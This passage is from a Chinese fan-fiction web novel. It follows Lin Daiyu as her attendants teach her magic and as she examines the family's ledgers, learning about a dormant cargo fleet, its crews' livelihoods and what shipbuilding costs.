黛玉侧头看何嬷嬷，许夫人道：“不忙，你的人都留下，我要说的话，她们也跟着听一听。我看你这几个人也都是心有成算的，能帮衬你。”
......
天色将晚，黛玉从许家出来，登上马车，再无外人，她一下便软下身来。
何嬷嬷扶着她靠在自己腿上，替她揉按肩颈，疏通筋骨解乏，“姑娘是被许夫人说的话吓到了？”
黛玉一动不动，闷闷道：“没有。”
她转过来，面朝上，问：“嬷嬷，你说爹爹会再娶吗？”
许姨跟她说的其中一件事，就是许多人盯着爹爹的后宅——林夫人的位置。
那一堆帖子，便是见她离了贾府，着急忙慌来试探的。
何嬷嬷道：“说句实话，老爷着实是个香饽饽。”
没办法，林如海的条件实在太诱人了。
首先是他的地位，管一方盐政，简在帝心，不出意外，应该还能再升。只要一嫁过来，什么心都不用操，妥妥的诰命就到手了。
其次，林家的财富也让人眼红。就是林如海不贪，他的官职摆在那里，盐商们也是上赶着送钱的。
盐政上的灰色收入不算，就说林家五代积累下来的财产也极为可观，要知道林家可是代代独苗，没有分过家，光娶不嫁，家产是只进不出。
最后就是林如海只有一个女儿，没有儿子。
女儿好拿捏，继承不了财产，在家的时候敬着供着，到了年纪，也不过是一副嫁妆就打发了。
而且林如海后宅干净，夫妻恩爱，不曾传出过什么风流韵事，是个难得的痴情人。
跟这些优点比起来，他年过四十根本不算缺点。探花出身，就是样貌认证，老了也丑不到哪里去。这条件，简直是打着灯笼都难找的好夫婿人选。
再说了，四十多岁也不算太老，好好保养，指不定还能生呢！做了续弦，到时候再诞下一儿半女，整个林家不是尽握手中？
黛玉听着她一条条分析，忽然觉得爹爹就是千年人参，谁都想要。
64.第 64 章
见黛玉认认真真思考着，何嬷嬷笑着帮她理了理鬓发，道：“我说的这些只是正常情况下的假设。许夫人的提点姑娘可以听，但不必往心里去。”
“老爷不是说了，自己无心再娶。如今家室于老爷而言，是拖累，老爷不傻，这个关头还为自己背上负累。别管别人有多少双眼睛盯着，牛不喝水也不能强按头不是。”
她抬手一勾，马车内小桌上的石榴壶和水杯凌空飘起，轻盈地落在她手上。
“姑娘喝茶吗？”
黛玉伸手，拿过杯子，在手上转来转去，拽着何嬷嬷的衣袖眼神亮晶晶道：“嬷嬷快教教我，隔空取物是怎么做的？”
她对于灵力的运用几乎全点在植物上，离了植物，其他的法术一概不会。见了何嬷嬷使的这一招，便想学。
何嬷嬷道：“姑娘不忧心了？”
黛玉靠在她身上，笑道：“不了，嬷嬷说的都对。”她已经明白了。
何嬷嬷便把壶放平，按着盖子，让黛玉把茶杯贴过来，不见她提手倾倒，却有一股水流从壶口吐出，在空中架起一座弧形“水桥”，完美注入杯中。
等杯中茶水八分满，水流断开，一滴不撒又收回壶中。
随后在黛玉期待的眼神中，何嬷嬷讲起用灵力摄物的小心得。
黛玉认真听着，待她讲完后，迫不及待开始试验。
何嬷嬷看着她时而皱眉，时而抿唇，时而面露思索，眼中盈满笑意。
就该这样。
什么上皇于中秋宫宴上现身，看上去身体很好，还能再活好些年。上皇与新帝之间关系微妙，互相争权。勋贵和文臣下注站队，朝堂斗争波云诡谲，林如海因为身份问题跟各方之间都有千丝万缕的联系，处在漩涡中心，成为被重点拉拢的对象之一。
作为林如海的独女，黛玉也是被算计的对象，需要小心防范云云，在何嬷嬷看来，通通都是废话。
能被算计到，是因为身处漩涡的人无力挣脱，只能在暗涌中小心翼翼谋算以保全自身。
但姑娘已跳脱凡尘，这些俗世何必挂于心上。任他风云变幻，也敌不过绝对的力量。
老爷不是栈恋名利的人，现在还兢兢业业当着官，不过是因为姑娘还有尘缘未了。何嬷嬷冷眼看着，他比姑娘还想早日摆脱俗世，自在逍遥去。
马车很快回到了林府，黛玉下车，芙蓉见她罗裙上深一块浅一块，还往下滴着水，拿了件斗篷给披上，遮住污渍，又故作不解地问道：“地上这么平，车里水壶也能翻？瞧姑娘这一身，不知道还以为是茶水认准了地方，光往姑娘身上倒呢！”
黛玉红了脸。她在隔空取物上一点就通，没两下就能挪动茶杯，便一心想学更厉害的隔壶取水的术法，却低估了难度，控制不好水流，一整壶茶都喂了裙子。
芙蓉姐姐肯定听到她跟何嬷嬷说话了，还来取笑她。
“嘻嘻。”青雀挤过来道：“不是马车颠簸，是姑娘在玩水，我都听到了。”
芙蓉：“......”
何嬷嬷扶额，这个憨货。上前一看，黛玉果然脸色更红。
黛玉恼羞成怒，一把握住青雀的嘴，道：“嬷嬷知不知道能让人当个哑巴的法术，快教教我！”
-*
有了何嬷嬷的开解，许夫人的话对黛玉并没有造成什么影响，她给爹爹写了一封信，说了说近况，便将这事抛在脑后，专心研究新学的法术。
她还十分“记仇”。因为“嘲笑”她，青雀被黛玉抓着指导她练习隔空取物。
青雀的术法运用也是稀松平常，比黛玉多的也就是十多年的经验。在她跟黛玉炫耀，隔着院子里的小池塘想引一条水龙上来给她看，却被一头浇透时，黛玉也毫不客气对她发出了嘲笑。
仆妇们听到动静过来，见青雀浑身湿透站在石子路上，都过来关心：“这是怎么了？可是栽到池子里去了？快快去换身衣服，小心着凉。”
黛玉捂着肚子直笑，道：“你们别管她，她嫌天热，自个儿跳到水里游一圈凉快凉快。”
仆妇道：“姑娘说笑呢！哪里热了？又不是前些时候。”
青雀吐了一口水出来，抹了一把脸，道：“我没事，这就去换衣服。”
黛玉抖着肩膀跟上去，剩下仆妇们面面相觑，不知道她在高兴什么。
“姑娘能不能别笑了？”青雀换完衣服，擦着头发，撅嘴道：“我就笑了姑娘一句，姑娘笑了我一路。”
黛玉掩住嘴，眼睛弯成月牙，哑着嗓子道：“我不笑了。”
青雀对她掩耳盗铃的行为表示强烈不满。
黛玉清了清嗓子，道：“你会不会立刻把头发烤干的法术？”一点点擦起来多麻烦。
“姑娘是又想学别的了？”芙蓉闻言道：“贪多嚼不烂，还没学会走就想跑，容易反噬，青雀这样就是姑娘的前车之鉴。”
青雀把一头长发揉成乱毛，敢怒不敢言地瞥了芙蓉一眼，愤愤地跑出去晒太阳了。
黛玉虚心请教：“请姐姐教我。”
芙蓉道：“姑娘现在最大能取什么东西？”
黛玉摇头，“我还没试过。”她常用茶杯和茶壶。
芙蓉点了下花梨木的云石圆桌道：“姑娘试试挪动这个。”这张桌子镶着石头，比一般木桌更沉。
黛玉便专心凝视着圆桌，试着牵动它，将它托起。
硌楞——
桌腿刮着青石移动了一点点，桌上杯盏叮当作响。黛玉面上一松，额间渗出一点汗。
“太沉了。”黛玉道。
“直接搬呢？”芙蓉道。
黛玉走到桌边，按着桌子轻轻一推，桌子顿时被她推回原位。
黛玉垂眼，以身体的力量来说，她搬动这张桌子并不太费劲，但用灵力，连一个角都抬不起来。
青雀不知何时又回来了，悄悄使力将云石桌托起来，把沉思的黛玉吓了一跳。
见黛玉朝她看过来，青雀得意地晃动起桌面。
“噼里啪啦”！
桌上的东西滑下来，碎了一地，只有一个木托盘幸免于难。
青雀一呆，灵力续不上，桌子重重砸下来，差点压到黛玉的脚。
芙蓉见黛玉没伤到，才戳了戳青雀的脑袋，哼笑一声，点着她们两个道：“半斤八两，还敢互相嘲笑。”
“我若是你，这些杯盘滑下来都不会掉到地上。”
话音刚落，地上的碎片一片接一片浮起，随后眼花
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缭乱地在空中飞舞、拼接。几息功夫，一个完整的壶和四个茶杯就出现在两人眼前。
木托盘归位，茶壶和杯子移过去，一一落下，如果不是表面存在的裂缝，几乎跟刚才没什么两样。
“什么时候姑娘能控制到这种程度，再谈学别的不迟。”芙蓉说了一句，转身出去。
留下黛玉和青雀一起凑到桌前，惊叹地看着稳稳倒扣着的茶杯。
“哇！”青雀伸出手指头，戳了一下，道：“芙蓉姐姐还控制着碎片吗？怎么没塌？”
“对了，这一套壶盏是越窑秘色瓷，价值不菲，如今砸碎了，是要赔的。以后就从青雀你的月例里面扣钱。”芙蓉倒回来，微笑着对两人道。
青雀手一抖，整套杯盏再次碎成渣。
“芙蓉姐姐说的是扣银子还是扣其他的？”门口没了人，青雀才哭丧着脸小声问道。
黛玉双手一摊，“你去问问？”
-*
黛玉极为聪明，芙蓉露了一手后，她便领悟了她的意思，开始有意识通过隔空取物控制和锻炼自己的灵力。
这日，她专心致志尝试在不动其他珠子的情况下，从一堆米珠中取标记好的那一粒。
试过几次不成功后，黛玉有些沮丧。何嬷嬷端来点心，劝她休息一下。
黛玉悄悄看了也青雀，见她也在对着一堆珠子运气，擦了擦汗珠，放松下来，招呼青雀吃点心。
何嬷嬷失笑，姑娘的好胜心还挺强。两个非比着来，谁都不肯落后一头。
青雀不知道黛玉暗暗在扯她后腿，一听到招呼，放下珍珠就颠颠地跑过来。灵力用得多饿得快，她早就想吃东西了。
两人正吃着，芙蓉抱着一摞厚厚的东西进来。
“姐姐拿的是什么？”黛玉咽下一口雪玉糕，问。
“林管家送来的账册，才整理好，都是林家在京中的铺子田产，他让姑娘看看，好对家里的产业有个数。”
黛玉道：“这些林管家做主就是了。”
芙蓉道：“姑娘还是看看，有些东西用得着。”她抽出一本账册，放在最上面。
黛玉听出来她的意有所指，吃完糕点净了手，翻开她特意拿出来的账册。
“柚木、榉木、瓦当......”
账册条理清晰罗列着货物明细，有木材、石头、砖瓦、树苗等等。刚开始的货物量大，到后来，记载的进货量越来越少，翻到最后，砖石瓦块几乎消失了，只有木头还在。
再看买进卖出，写的也清楚。黛玉心中计算了一下，从前面看都是对得上的，后面支出大于收入，也还算正常，不像是做的假账。
“这项生意亏损了。”黛玉合上账册道。除此之外，她并没有看出别的问题。
芙蓉点头：“林管家的意思是亏了好几年，一直都靠别的进项填这里的窟窿，想将这一项裁掉。”
“姐姐觉得不妥？”
何嬷嬷在一旁听着，这时插嘴道：“榉木一般生长于南方，多用来做家具。柚木用途更多，建宅子少不了，但它的产地比榉木更远，我依稀记得，多长于暹罗一带？”
“这些木头，是用的咱们家自己的船拉来的，还是买别人运过来的再转手卖掉？”
65.第 65 章
“好些年前是有一只船队。”林管家道。
芙蓉回答不了何嬷嬷的问题，便把林管家叫来，由他解释。
“姑娘看账上记载的货物，都是要从南边运来，咱们等在京里买别人的货再倒手，那是基本不赚的。”
做生意没有这样做的。跑商的人为什么要南来北往？就是物离乡贵，担的是走商的风险，赚的是中间的差价。
三道四道贩子每过一道手，利润空间就要下降许多。
“原来家里还有船？”黛玉道：“那为何爹爹还要雇船送我来京里？”
林管家就笑道：“姑娘这说的是外行话，货船跟一般行船不一样，一切都要为能装载更多货物考虑，能住人的地方少，住起来也不舒服。船上也乱得很，姑娘哪能受得了。”
“再一个，咱们家的船也有几年没下水了，姑娘看最后货物记载的时间，还是上皇在位的时候。”
黛玉重新翻到最后一页，在左上角看到了年号。
“在那之后还有卖出的柚木，都是最后一次行船时带回来的存货，积压在仓库里，陆陆续续往外卖。这种木头不好卖，有需要的人家一次性要的多，咱们这些不够，人家宁愿再花些精力和时间直接跟南边做木材生意的商人搭上线，一次性拿到货。”
“但这木头又贵，辛辛苦苦跑一趟船带回来，贱卖了可惜。好在它不易受潮生虫，可以堆着一点点出手，可惜定的人也不多。”
黛玉不由问道：“既再没有跑船，等积压的木头都卖完了，不再进就是了，也不需现在就裁掉这一项。我听着似乎也没有多余的开支？亏损并不严重。”
林管家一愣，道：“姑娘是不是弄错了，亏掉的开支不在这里，要裁的是船和人。”
黛玉看了芙蓉一眼，芙蓉微微点头。
黛玉问：“怎么说？”
林管家道：“先前跟姑娘说，咱们家是有船队的。算起来，船队存在的时间比老爷的年纪还长呢！”
黛玉被勾起了好奇心，朝何嬷嬷使了个眼色，何嬷嬷搬来一个小杌子请林管家坐下。林管家推辞两下，谢过黛玉，挨着杌子边沿坐了。
黛玉便道：“照这么说，岂不是祖父还在的时候，船队就存在了？”
“可以这么说，但也不准确。”林管家点头。见黛玉没不耐烦，他索性从头讲起古来：“其实船队很早之前就存在，中间也停过一次，后来老太爷在时，又重新组建起来，最开始的目的并非是为了做这南北倒卖木材石瓦的生意，而是为了咱们自己家的事。”
他一边回忆，一边慢慢道：“那是先帝还在的时候，京里刮起了一股修宅子的风潮。”
这个先帝并非指如今的太上皇，而是再往前一位皇帝，也是本朝的第三位皇帝。
大抵所有王朝都逃不过一样的规律。开国皇帝马上打江山，第二任皇帝不能开疆拓土，至少也能守江山，到了第三任皇帝时，天下太平已久，无内忧外患，便开始琢磨着享江山。
先帝便是如此。
他不是昏庸的帝王，但作为万里江山的主人，他自认对得起天下百姓，宵衣旰食治理国家，所以让自己日子过得舒服一些也是应该的。比如历经三朝的宫室老坏，皇帝还要住漏雨积水的屋子岂能行？
坏的宫室要重新修，毁了的要重新建，还有避暑的园子，春闱秋猎的行宫通通都要修。
上有所好，下必效焉。
大臣们一看，自家的宅子好像也坏了，是不是也该修？还有行宫附近，陛下不禁止臣子们购置土地，为了追随陛下，要不也建个宅子？
陛下到行宫避暑的时候，跟着一起来办公的大臣们总得有地方住吧。来回跑比较费人。
故而先帝带头，勋贵人家跟上，文官效仿，京中开始大修特修。
众所周知，好园子都在江南。修园子必定会参考江南园林。什么假山湖石，名贵木材，也都出自南方。
但东西就那么多，大家都等想要，一番哄抢下，木石砖瓦的价格翻着翻往上涨。
那时候，一块原先几百两的太湖石能喊到上千，几千两的低于一万商人不会出手。
“咱们家却步堂前那一尊坐狮石就是那会儿从别人手里买的，姑娘猜花了多少？”
黛玉摇头。
林管家比了个八。
“八千两？”黛玉惊得倒吸凉气，声音都压不住了。
林管家苦笑着点头。
青雀掰着指头算了一下，喃喃道：“那块破石头这么值钱？能买几套茶具了。”
要不她去捡石头卖吧。找个冤大头，她都不要他八千两，能填上砸碎的茶具的钱就行了。
何嬷嬷拍了她一下，让她别嘀嘀咕咕。
“怎么要这么多？祖父竟也买下了？”黛玉问。
她知道湖石贵，没想到会这么贵。山石以瘦皱漏透为美，那块坐狮石她也常常看见，其实形并没有那么像，不算上佳。
她虽没见过祖父，但料想他应该是个睿智的人，不会不知道坐狮石不值这些才对。
林管家道：“当时的风气如此，商人都精明，东西不愁卖，有人抢着买，所有南边运来的东西，一砖一瓦都跟着涨价，老太爷那时被景安伯府的人顶着竞价，也是骑虎难下。”
能教养出林如海的林老太爷会是短视奢侈的人吗？他不知道东西不值吗？他知道，但不得不花这些钱。
那会儿林家还在勋贵堆里，勋贵人家的做派都是如此。有句话说的好，一件事人人都做你不做，那你就是异类。
别人花钱你不花，还想不想跟大家一起混了。
但这钱也花得实在心疼，纵然林家有百万家财，也禁不住这么撒。与其把钱花在石头上，不如去淘换古籍字画，起码对后代有益，而不是教他们怎么享乐，一掷千金。
思来想去，林老太爷就想起了自家还有一支船队。从商人手里买石头要被抬价，不如绕过商人直接从源头采购。哪怕原产地也涨价了，也比商人狮子大开口强。
“趁着这股东风，船队重新组起来。后来这只船队不仅去了南边，还出了海，带回的木材砖石不止够咱
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们自家修宅子，靠倒卖给其他勋贵人家，还赚了一笔。”
林管家微微露出些笑意。
黛玉忽道：“却步堂......祖父取这个名字，意思是不是提醒自己，行到堂前却步，驻足看到坐狮石，以提醒自己，凡事莫冲动，说不定有别的路？”
林管家笑道：“姑娘果然随老爷，以前老爷一听完，也跟姑娘说了差不多的话。”
黛玉抿唇微笑，很是高兴。
林管家脸上的笑容转瞬即逝，叹了一口接着道：“竞相修宅子的事到底有些影响，之后有人进言，说先帝如此，与宋徽宗立花石纲何异。先帝也深觉不能再这么下去，停了大兴土木的事，这股风潮才刹住。”
“再后来，上皇在位时，朝廷对民间私船出海管理逐年严苛起来。关了岸口，重设了海关，海关开了又关，关了又开，这一番下来，但凡能出海的船队，后头必定有大靠山上下打点。”
“咱们家的船队规模不大，赚的大头还是拉南方的货，要出海，打点的钱一花，光靠货物买卖赚不了太多。老太爷也志不在此，不愿操这份心。”
实际上以林家当时的情况，再想掺和也有心无力，不仅赚不到，指不定还会被哪一家吞了。林老太爷放弃船队出海的决定是明智的。
“船队渐渐失去了海外货物来源，再没了京里的买家，也干不下去了，逐渐开始停船。”
“最后一艘船停船靠岸，不再下水，都是姑娘出生前的事了。”
林管家感慨完，道：“这些船停了，船工没了吃饭的活计，林家得养着。他们许多人都是两三代一起，在咱们家的船上讨生活的。总不能赚钱的时候想到他们，让他们风里来雨里去，不赚了就看着他们饿死。”
黛玉微微点头：“理当如此。”
“这还是小头，虽有花费，但还养得起。况且许多船工一两年等不到船入河出海，也不愿吃白饭，自己另谋生计去了。”
“最头疼的是那些船。船停在水里不能放任不管，每年都要修缮，这才是花费最大的。”
黛玉皱起眉头：“除了木材，就没有其他生意可做了吗？”
林管家摇头：“可以是可以，但一样亏，只是亏多亏少的问题。”
没有大宗赚钱的货物，小打小闹，光船只的养护费用都填不上。
所以最好的方法还是不管。
可黛玉却不能轻易开这个口。放弃船很容易，但背后牵扯的是船工们的生计。
“祖父当初重新启用船队之前，船工们是靠什么生活的？”黛玉问。
林管家也不大清楚。
“那现在这些船工在哪儿你知道吗？”
“有几个知道。”林管家道。
“如此便劳烦管家去找人问一问当年的境况。”
“姑娘的意思是？”林管家起身，迟疑道。
黛玉把账册合上，道：“先问过再说。别的我再想想。”
林管家退下后，何嬷嬷道：“我看林管家像是早有准备，说这么多，怕是在试探姑娘。”
66.第 66 章
“嬷嬷是觉得林管家有事瞒着我？”
何嬷嬷道：“倒也不是瞒着，他说的应该是实话，但我听着，他明着是要请示姑娘裁掉这部分开支，可话里话外又带着船工不易。且养着船只和船工，按姑娘的年纪算，少说也有七八年了，不早不晚的，怎么偏偏这个时候想着裁了？”
黛玉觉得有理，“可林管家若是另有目的，他直说便是，何必如此拐弯抹角。”
若是不想裁掉这项开支，大可以不告诉她。林管家不主动说，她也想不起要查家里的账。
“可能是不好开口，只能先探探口风。”何嬷嬷道：“不过要是急的话，他很快就会带着消息再来找姑娘，姑娘且稳稳坐等即可。”
“先不管林管家有什么目的，船队倒是可以用起来。”芙蓉道。
“可用来做什么生意呢？”黛玉不自觉操起了心。
“做生意？”芙蓉惊讶道：“姑娘是不是忘了咱们还有个园子等着建，正是用得上船队拉木头的时候。”
黛玉恍然，她还真把这事忘了。
一想起来，黛玉就兴致勃勃道：“之前在外祖家，时时刻刻都有人盯着，外出不方便，也不知道买的庄子具体是什么样。嬷嬷、姐姐，要不改天咱们一起去郊外看看吧。”
“好啊好啊！”青雀第一个积极响应。
“现在恐怕也不怎么方便。”白鹤从外边进来，道。
芙蓉见她脚上沾了些土，问：“早上就不见你的人影，你去哪儿了？”
“刚从京郊回来。”
白鹤给自己倒了杯茶，道：“京郊热闹得很，皇帝祈雨的那块地，来来往往都是各家的心腹在代主子圈地。不知道是从哪里传的消息，说那里风水上佳，皇帝有意要在那里建一个皇家别苑，方圆十里地皮都跟着涨价了，家家都跑去占地方。”
“那会把地占到姑娘的园子附近吗？”何嬷嬷道：“原先选中那块地方，就是看中它幽静。”
白鹤道：“别说附近了，还有人惦记着那块地，在想办法找幕后主人呢。”
白鹤想到她听到的话。
那块地不小，地皮加前主人留的旧园子，买的时候也花了不少钱。有些人作威作福惯了，想拿现成的不说，还不愿意出高价，打着强买强卖的主意。
“这消息是怎么来的？”黛玉道：“跑去圈地的人怕不是上当了？我看那地方根本不适合建什么别苑。”
众人都听她细说。
“上次我跟白鹤姐姐一道，虽没有细看，但目光所及，也大致对周围有些了解。一来，那里离官道并不远，既是皇家别苑，占地不可能小，稍微围上一圈，就挨到官道上去了。管道上常有人往来，如何保证别苑的安全？”
“二来，那附近应当有村户，这些人要怎么办？难道要随意赶走？还是另迁往别处？多出来的花费要怎么算？”
何嬷嬷也跟着道：“姑娘说的对，当今是个聪明人，不可能在这个时候大兴土木。”
她压低声音道：“当今当务之急是想办法从上皇手中夺权，坐稳皇位，任何有可能劳民伤财的事都不能在这时候做，否则就是给上皇递把柄。”
“除非这事有利可图。”
“若说是建皇庄倒还有些可信度。”黛玉道。
芙蓉对天家父子争权夺利的事不感兴趣，她只想知道是谁看上了黛玉的园子，这股无缘无故兴起的圈地潮会不会对她们有影响。
“一个主家姓甄，另一个就不知道了。”
白鹤当时听了一耳朵，不怎么放在心上，也没想往下打探。
何嬷嬷思索道：“姓甄的官宦人家，有名有姓的只有宫里甄太妃的娘家。论理他们家是铁打的上皇一派，不可能凑到当今跟前去。”
这么一说，事情就更扑朔迷离起来了。
黛玉皱眉道：“买庄子的时候是林管家出面的，稍微一查就能查到咱们家。”
别的也还罢了，大不了就把地让出去，怕就怕无意间扯进皇家阴谋里。
“姑娘担心的话，咱们也去查一查。”白鹤道：“说起来，我在京郊还碰到了另一个熟人。她悠闲得很，姑娘要是同意，可以给她点好处，让她帮忙追查一下。”
“谁？她一个人能行吗？”
“那条蛇妖。再没有比她更行的了。”白鹤微微一笑。
余楚微尾巴卷在树枝上倒挂而下，跟死蛇一样随风摆动。
她心情十分糟糕。早上一醒来就看见臭鸟，晦气得她连新找好的地盘都不想呆了，连忙搬家。
她绝不承认是自己害怕。虽然发现臭鸟的第一时间她就跑远了，但那家伙看没看见她，余楚微心里没底。
她绝对是跟那家伙犯冲，碰到她准没好事！
余楚微荡了一会儿，攀上树干游到树梢最高处，心烦地看着树下不知道第几波来丈量土地的人。
就是这些人害得她最近不得安宁，好好的地盘都不能呆了。要不是避着他们，她也不至于碰到鸟妖。
自从知道这是些什么人之后，余楚微就总忍不住翻白眼。
她都不知道这些当官的脑子是怎么想的，这么容易上当受骗。查清楚这些地是谁的了吗？人家有地契吗？眼都不眨就敢随便买。
被人空手套白狼了，还感恩戴德。
这帮人再这么圈下去，她只能另找地方修养了。她有时候真想一口下去，把他们都毒死算了。
可惜就算余楚微内心有再多抱怨，一条蛇的心声也无人听见。下面该干什么还是干什么。
这会儿的余楚微也不知道，早上刚见过的臭鸟不仅马上会再见到，她还会上赶着贴上去求着帮忙。
-*
京郊的问题由白鹤去解决，黛玉便把这事暂时放下。
林管家那里一两日还没有消息，黛玉趁着这个空挡，把抱来的其他账册都看了看。
一看之下，她发现家里在京城的产业真不少。
除了几个较大的田庄之外，还有一些铺子。胭脂铺、布庄、甚至还有一座银楼。
黛玉的注意力却不在银楼上，“家里竟有书肆？”
不过书肆的生意好像不大好，黛玉在账目上看到好些大笔支出，收入却平平，亏损相当严重。
但很快，黛玉就发现，刨开这些大笔支出后，书肆倒是勉强能达到收支平衡。再一比对，黛玉就知道这些突兀的支出是去了哪里——都换成家里珍藏的古籍字画了。
何嬷嬷在一边笑言：“要不说咱们家是书香门第呢？开着书肆不为赚
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钱，想来是专为收集心爱的古书字画而设的。”
“怪道老爷一考就能考中探花，原来也是在家风中熏陶，书海中徜徉过的。姑娘也随老爷，在读书上聪明得紧，学什么都快。”
黛玉笑道：“嬷嬷光会夸我。我现在耳聪目明，比常人强上两三倍，要是再比别人学得慢，不是白瞎了这段日子修行的成果。”
何嬷嬷努了努嘴道：“姑娘谦虚，瞧那边有个耳聪目明十几年的，学起来就不如姑娘快，点心倒是吃得多。”
青雀一口肉脯一口豌豆黄，甜咸一口，互相中和，不亦乐乎，闻言指了指自己道：“嬷嬷是在说我吗？”
何嬷嬷轻叹：“这里还有别人吗？”
黛玉端详着青雀的脸，忽道：“青雀，你最近吃了多少东西？”
青雀不明所以，却还是仔细回想，正要回答，芙蓉过来道：“姑娘，林管家来了。”
“快请他进来。”
林管家效率很高，两日功夫，就找到了十几户原先林家船上的船工。
“他们都住在一条巷子里，彼此之间都有联系，互相一通知，就都知道了。”林管家先解释了一句，才接着道：“这十三户人家里，有九户祖上一直跟着咱们家的船，其他都是老太爷那会儿新雇的，不知道旧时的事。”
“据这九户人家说，第一次停船后，海禁还不像现在这样严，所以有些人很快就去了别家船上讨生活。这九家人祖辈也有人去过，后来才回来。”
说完，林管家顿了一下，看了黛玉一眼。
黛玉一怔，然后道：“这样没什么，他们也不是卖身给咱们，来去自由，去哪家都无可厚非。”
林管家方继续道：“除了还跑船的，也有去修船、造船、码头卸货和回家种地的。”
每个活计要光听名称就知道是干什么的，无需多解释，黛玉就听明白了，“现在海禁严格，所以除了种地，其他的活计都不好做？”
出海的船少了，修船、造船、跑船就不需要那么多人。卸货也是一样，船少货就少，要的工人也就更少。
林管家却摇头，“跑船的少有攒下钱买地的，据他们说，当初买了田的只有几户。其实最好找的活计是在码头搬东西，上面禁海，但河面依然船流如织。”
偏偏这个活计却是最苦最累，但能得的钱最少的，养活一家老小都勉强，更不用说能攒下钱。
而且这活还有危险，被货物压伤砸死也不是不可能。
一旦受了伤，那基本上一家子天都塌了。
黛玉听完，沉吟半晌，道：“管家知道家里有几艘船吗？这么久过去，这些船还能下水吗？船队一共需要多少人手？这十三户人家还有没有想重新跑船的？”
“姑娘莫非是想再启用船队？”林管家问。
黛玉点头。
林管家见状劝道：“姑娘心善，若是因一时怜悯他们，却不必如此，可想其他的法子。重新启用船队并非一句话的事，船只下水一趟不仅耗资颇多，也不是长久之计。”
“我是真有用处，并不是因为怜悯。”黛玉将园子的事一说，道：“可以先让他们办我的事，这样也有活做。园子多少也得修一两年，这中间再慢慢想办法看能不能找到别的赚钱路子。”
67.第 67 章
赚钱的路子没有那么好找。且这么多年，已有的路子也早被人占了，林家想挤进去分一杯羹，几乎不可能。
林管家虽不看好黛玉的乐观，但也没有立刻反驳。
“我记得咱们家里有四条船，但是什么样子的船，却不大清楚。姑娘要是想知道，可以叫人来问一问。”
他说的当然不是船工。
“恰好，船工里有一户姓钱的人家，祖上就是造船匠，手艺代代相传。传到上一代，钱船匠家只有一个女儿，无人能继承衣钵。钱船匠不忍几代总结下来的技艺失传，便为女儿招了赘，把一身本事都传给了女儿。”
“这个招赘的夫婿还做过咱们家船上的舵公，问她最清楚了。”
黛玉道：“那快请她来一趟！若是方便的话，就今日吧。”
“她家中也无事，有闲暇。”林管家道。
半个时辰后，林管家便带着一个姓钱的妇人到了会安堂。
那妇人个头不高，低垂着头跟在林管家身后。她一身发白的衣服，上面打着补丁，瞧着很是拮据的样子。
但她头发梳得整整齐齐，额前鬓角的白发仔细抿好，不显凌乱邋遢，衣服也是干干净净，看得出来是个利索人。
到了近前，钱姓妇人目不斜视，盯着自己的脚尖，在林管家说上首是黛玉后，她干脆跪下，咚咚咚叩了三个响头，“小人见过林姑娘。”
黛玉吓了一跳，忙让丫鬟把人扶到一边坐下。
钱姓妇人几乎是被架着胳膊拖到一边，一沾着椅子就坐立难安，黛玉看她不安，柔声问道：“你叫什么？”
钱姓妇人立刻又站起来，双手抓着衣袖捏成拳头恭敬道：“回姑娘，小人名叫钱清卓。”
黛玉哭笑不得，缓缓念道：“三峰一一青如削，卓立千寻不可干。正直相扶无倚傍，撑持天地与人看。是个好名字。”*
也含着取名之人的期许，即使没有依靠，也要闯出一片天地。
钱清卓不知所措，她是识字的，但没读过多少书，听不懂黛玉念的话，不过好像是在夸她？
何嬷嬷见状笑道：“咱们家没有那么多规矩，你不必紧张，坐着说话便好。”
“是。”
钱清卓又挨挨蹭蹭坐回去，然后抬起头来，飞快瞥了黛玉一眼，又低下去。
黛玉这才看清楚她的面容。钱清卓皮肤很黑，也很粗糙，像是长期风吹日晒过，过黑的肤色让她的五官不怎么显眼。
听林管家说，钱清卓好像不过三十多岁，但一张脸看上去说五十都有人信，荣国府的老妈妈看着都比她年轻。
黛玉注意到她的手也很粗糙，手上有好些龟裂的口子，裂口中发黑，指腹却发皱，手指骨节和很粗大，想必是经常劳作。
“听说你会造船？”收回目光，黛玉问。
钱清卓含胸道：“小人是学过造船，但从小到大只跟着小人的爹修过船，并没有真自己造过。”
这回答过于实诚了一些。
黛玉继续道：“你修过多少船？”
钱清卓头微微抬起，道：“从前林家的船都是小人的爹修的，小人从十五岁起，也跟着搭手，十八岁之后，就能独立修船了。后来跟着爹辗转去过造船厂帮忙，也记不清修过多少。”
“这么说，你对船队很了解了？想必管家跟你说过为什么请你过来。”
钱清卓点点头，道：“姑娘想问的事，我都知道。”
“林家的船一大三小，最大的船有三百料......”
大约是说起自己擅长的事，钱清卓便不再束手束脚，背也挺直了，头也昂起来了。她滔滔不绝又条理清晰。从她的话中，黛玉逐渐对自家的船队有了清晰的了解。
三百料的船听着不大，前朝朝廷出海的一种宝船有五千料。但实际上，能造这么大船的技术已经失传了，如今最大的船大约只有宝船的二分之一。朝廷常见的大型战船了也不过四百料。
而且因为内河吃水问题，民船再大一些，在河道上也不好行驶。
其他三艘船分别是八十料和五十料。
至于船上要多少人，要视船的大小而定。以小船为例，固定必不可少的人手最少要有十五人，大船上则需二十五人以上，其余水手可酌情增减。
再就是这些人的薪俸和用度。光伙食费，以一人一年二两银子计算，所有人加起来最少需要一百五到二百两之间。
水手的薪俸最少，其他如掌舵的舵公，管理货物买卖的首掌等更高。
如此杂七杂八加起来，四艘船只下水一次，一年人工花费大约需要两千两左右。就算不是一整年都在河上，所费减半，也不会少于一千两。
钱清卓说得有些渴了，端起茶杯喝了一口水润了润嗓子，道：“这些都是必要的花费，还不算大头。风险最大的是买下货物的钱和船只本身的造价。出河和出海都有风险，若是船只不幸倾覆，连船带货物，足够一般的商户血本无归，倾家荡产。”
“以前还好，造一艘船的花费不多，三百料的船花费大约在千两左右。但如今因前人砍伐太过，木料价格也跟着水涨船高。北方的木材不适合造船，都要从南边拉，好的造船木料更得往海外寻，花费也跟着上去。同样大小的船可能需要五千到八千两，甚至更高。”
“所以一些造船厂都迁往了两广一带，便是图那里离暹罗和缅甸近，上等的柚木价格低。”
柚木不仅是好的建筑材料，也是极好的造船材料。福广两省中数潮州人所造的帆船最好，便是因为他们用柚木。
林管家轻轻咳了一声，钱清卓滔滔不绝的话一顿，脸上的自信又消失了，人也瑟缩起来，面上还掠过一丝愁苦。
她嘴太快，一激动就把什么都说了。
钱清卓忐忑不安地捏着手指头，生怕林姑娘被她说的花费和风险吓到，打消让船只下河的念头。
毕竟是几千上万的银子的事，林家再有钱，一个小姑娘大概也做不了主。
想到这里，她整个人也颓丧了下去。
